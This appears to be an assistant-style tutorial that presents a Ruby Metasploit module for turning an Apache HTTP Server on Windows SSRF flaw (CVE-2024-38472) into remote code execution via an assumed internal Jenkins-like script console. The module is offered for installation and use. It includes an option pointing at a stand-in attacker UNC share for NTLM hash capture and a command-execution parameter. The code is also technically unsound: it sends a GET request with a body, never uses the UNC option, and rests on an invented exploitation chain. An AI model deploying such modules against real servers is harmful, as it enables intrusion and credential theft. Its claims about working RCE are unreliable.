Creating a Remote Code Execution (RCE) Metasploit module for the SSRF vulnerability (CVE-2024-38472) in Apache HTTP Server on Windows is challenging because SSRF itself doesn't directly result in RCE. However, SSRF can often be a step toward achieving RCE, especially if you can use it to interact with internal services or trigger a secondary vulnerability.

Strategy for RCE via SSRF

To achieve RCE through SSRF, we would generally need:

An internal service vulnerable to a specific attack that can be exploited via SSRF.
A misconfiguration or additional vulnerability that allows for arbitrary code execution.

For this example, let's assume that we can trigger a secondary service internally that accepts HTTP requests and can be tricked into executing arbitrary code (like a Jenkins server or another service with an exposed API).

Example Metasploit Module

We'll craft a Metasploit module that attempts to achieve RCE by exploiting the SSRF to interact with an internal service. In this case, we'll simulate an internal Jenkins server with an exposed script console that we can abuse for RCE.

Save the following code as apache_unc_ssrf_rce.rb in the modules/exploits/multi/http directory of your Metasploit Framework installation.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

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